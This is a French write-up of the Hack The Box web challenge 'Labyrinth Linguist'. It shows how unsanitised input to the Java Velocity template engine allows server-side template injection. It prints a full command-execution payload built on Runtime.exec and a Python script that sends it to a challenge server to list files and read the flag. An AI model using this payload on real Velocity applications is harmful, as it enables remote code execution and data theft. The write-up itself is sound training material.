Labyrinth Linguist
Catégorie: Web Difficulté: easy Flag: HTB{f13ry_t3mpl4t35_fr0m_th3_d3pth5!!}
Challenge
Description
You and your faction find yourselves cornered in a refuge corridor inside a maze while being chased by a KORP mutant exterminator. While planning your next move you come across a translator device left by previous Fray competitors, it is used for translating english to voxalith, an ancient language spoken by the civilization that originally built the maze. It is known that voxalith was also spoken by the guardians of the maze that were once benign but then were turned against humans by a corrupting agent KORP devised. You need to reverse engineer the device in order to make contact with the mutant and claim your last chance to make it out alive.
Ce challenge tourne sur un docker, disponible sur Github
Etape 1 : Reconnaissance
On est sur une techno Java avec l’utilisation d’un render template nommé Velocity :
Dans le code source on voit que l’input utilisateur n’est pas assainie, donc potentiellement on a une SSTI.
En cherchant les SSTI de cette techno, on tombe sur : https://iwconnect.com/apache-velocity-server-side-template-injection/
Etape 2 : PoC
Dans le fichier challenge/src/main/java/Main.java
à la ligne 44 on trouve : **context.put("name", "World")**
On peut donc essayer d’afficher cette variable en envoyant $name
dans la requête :

On reçoit bien Hello World
donc la variable a bien été interprétée.
Etape 3 : Exploit
Dans le lien fourni plus haut, on nous donne un payload tout prêt pour exécuter des commandes :
#set($s="")
#set($stringClass=$s.getClass())
#set($stringBuilderClass=$stringClass.forName("java.lang.StringBuilder"))
#set($inputStreamClass=$stringClass.forName("java.io.InputStream"))
#set($readerClass=$stringClass.forName("java.io.Reader"))
#set($inputStreamReaderClass=$stringClass.forName("java.io.InputStreamReader"))
#set($bufferedReaderClass=$stringClass.forName("java.io.BufferedReader"))
#set($collectorsClass=$stringClass.forName("java.util.stream.Collectors"))
#set($systemClass=$stringClass.forName("java.lang.System"))
#set($stringBuilderConstructor=$stringBuilderClass.getConstructor())
#set($inputStreamReaderConstructor=$inputStreamReaderClass.getConstructor($inputStreamClass))
#set($bufferedReaderConstructor=$bufferedReaderClass.getConstructor($readerClass))
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cmd /c dir C:"))
#set($null=$process.waitFor() )
#set($inputStream=$process.getInputStream())
#set($inputStreamReader=$inputStreamReaderConstructor.newInstance($inputStream))
#set($bufferedReader=$bufferedReaderConstructor.newInstance($inputStreamReader))
#set($stringBuilder=$stringBuilderConstructor.newInstance())
#set($output=$bufferedReader.lines().collect($collectorsClass.joining($systemClass.lineSeparator())))
$output
Puisque le serveur tourne sur du Linux et que le flag se trouve dans un fichier avec un nom aléatoire :

Il faut simplement adapter la commande en Linux pour lister les fichiers puis lire le flag.
Script de résolution
import requests
from bs4 import BeautifulSoup
import re
def exec_command(url, command: str) -> str:
payload = f"""#set($s="")
#set($stringClass=$s.getClass())
#set($stringBuilderClass=$stringClass.forName("java.lang.StringBuilder"))
#set($inputStreamClass=$stringClass.forName("java.io.InputStream"))
#set($readerClass=$stringClass.forName("java.io.Reader"))
#set($inputStreamReaderClass=$stringClass.forName("java.io.InputStreamReader"))
#set($bufferedReaderClass=$stringClass.forName("java.io.BufferedReader"))#set($collectorsClass=$stringClass.forName("java.util.stream.Collectors"))
#set($systemClass=$stringClass.forName("java.lang.System"))
#set($stringBuilderConstructor=$stringBuilderClass.getConstructor())
#set($inputStreamReaderConstructor=$inputStreamReaderClass.getConstructor($inputStreamClass))
#set($bufferedReaderConstructor=$bufferedReaderClass.getConstructor($readerClass))
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("{command}"))
#set($null=$process.waitFor() )
#set($inputStream=$process.getInputStream())
#set($inputStreamReader=$inputStreamReaderConstructor.newInstance($inputStream))
#set($bufferedReader=$bufferedReaderConstructor.newInstance($inputStreamReader))
#set($stringBuilder=$stringBuilderConstructor.newInstance())
#set($output=$bufferedReader.lines().collect($collectorsClass.joining($systemClass.lineSeparator())))
$output"""
response = requests.post(url, data={"text": payload})
soup = BeautifulSoup(response.content, 'html.parser')
return soup.find('h2', {'class': 'fire'}).text
def solve(url):
output = exec_command(url, 'ls -al /')
flag_file = re.search('flag[a-f0-9]{10}.txt', output).group(0)
flag = exec_command(url, f'cat /{flag_file}')
print(f"FLAG: {flag}")
if __name__ == '__main__':
solve("http://94.237.57.161:57347")
Dernière mise à jour
Cet article vous a-t-il été utile ?